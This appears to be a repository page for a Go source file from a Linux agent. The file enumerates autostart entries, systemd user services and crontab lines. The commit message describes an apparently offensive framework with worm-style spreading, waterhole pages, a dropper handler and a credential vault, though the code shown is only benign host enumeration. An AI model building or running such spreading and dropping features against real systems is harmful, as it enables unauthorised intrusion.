1551bd5dad
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
60 lines
1.4 KiB
Go
60 lines
1.4 KiB
Go
//go:build linux
|
|
|
|
package client
|
|
|
|
import (
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
)
|
|
|
|
func collectPersistenceAudit() PersistenceAuditReport {
|
|
report := PersistenceAuditReport{Platform: "linux"}
|
|
home, _ := os.UserHomeDir()
|
|
if home != "" {
|
|
autostart := filepath.Join(home, ".config", "autostart")
|
|
if entries, err := os.ReadDir(autostart); err == nil {
|
|
for _, e := range entries {
|
|
if e.IsDir() {
|
|
continue
|
|
}
|
|
report.Entries = append(report.Entries, PersistenceAuditEntry{
|
|
Kind: "xdg_autostart",
|
|
Name: e.Name(),
|
|
Detail: autostart,
|
|
})
|
|
}
|
|
}
|
|
unitDir := filepath.Join(home, ".config", "systemd", "user")
|
|
if entries, err := os.ReadDir(unitDir); err == nil {
|
|
for _, e := range entries {
|
|
if e.IsDir() || !strings.HasSuffix(e.Name(), ".service") {
|
|
continue
|
|
}
|
|
report.Entries = append(report.Entries, PersistenceAuditEntry{
|
|
Kind: "systemd_user",
|
|
Name: e.Name(),
|
|
Detail: unitDir,
|
|
})
|
|
}
|
|
}
|
|
}
|
|
out, err := exec.Command("/bin/sh", "-c", "crontab -l 2>/dev/null").CombinedOutput()
|
|
if err == nil {
|
|
for _, line := range strings.Split(string(out), "\n") {
|
|
line = strings.TrimSpace(line)
|
|
if line == "" || strings.HasPrefix(line, "#") {
|
|
continue
|
|
}
|
|
report.Entries = append(report.Entries, PersistenceAuditEntry{
|
|
Kind: "crontab",
|
|
Name: "user crontab",
|
|
Detail: line,
|
|
})
|
|
}
|
|
}
|
|
report.Count = len(report.Entries)
|
|
return report
|
|
}
|